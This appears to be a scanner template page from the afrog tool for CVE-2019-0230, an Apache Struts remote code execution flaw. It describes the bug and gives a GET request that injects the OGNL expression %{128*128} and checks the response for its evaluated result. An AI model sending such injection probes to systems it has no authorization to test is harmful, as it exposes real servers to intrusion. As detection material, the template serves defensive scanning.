CVE-2019-0230: Apache Struts <=2.5.20 - Remote Code Execution S2-059

2025-08-01 Apache Struts PoC Public

Description

Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation when evaluated on raw user input in tag attributes, which may lead to remote code execution.

PoC

id: CVE-2019-0230

info:
  name: Apache Struts <=2.5.20 - Remote Code Execution S2-059
  author: geeknik
  severity: critical
  description: |-
    Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation when evaluated on raw user input in tag attributes, which may lead to remote code execution.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2019-0230
    - https://cwiki.apache.org/confluence/display/WW/S2-059
    - https://www.tenable.com/blog/cve-2019-0230-apache-struts-potential-remote-code-execution-vulnerability
    - http://packetstormsecurity.com/files/160108/Apache-Struts-2.5.20-Double-OGNL-Evaluation.html
  tags: cve,cve2019,apache,struts,rce
  created: 2023/08/10

rules:
  r0:
    request:
      method: GET
      path: /?id=afrogtest%25{128*128}
    expression: response.body.bcontains(b'afrogtest16384')
expression: r0()

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Source: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CVE/2019/CVE-2019-0230.yaml

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